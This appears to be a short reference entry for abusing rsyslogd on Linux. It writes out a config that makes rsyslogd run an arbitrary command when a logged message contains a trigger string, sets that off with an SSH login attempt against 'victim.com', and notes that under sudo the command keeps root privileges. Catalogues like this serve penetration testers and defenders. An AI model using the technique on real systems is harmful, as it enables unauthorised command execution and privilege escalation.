rsyslogd

Command

This executable can run non-interactive system commands.

Comment
In order for this to work, one must be able to trigger one event containing the chosen string, e.g., somerandomstring. One possibility is to attempt to connect to the victim host via SSH, for example:
```
ssh somerandomstring@victim.com
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
cat >/path/to/temp-file <<EOF
module(load="imuxsock")
:msg, contains, "somerandomstring" ^/path/to/command
EOF

rsyslogd -f /path/to/temp-file
```
OutputThe commands are executed but their output is hidden from the attacker.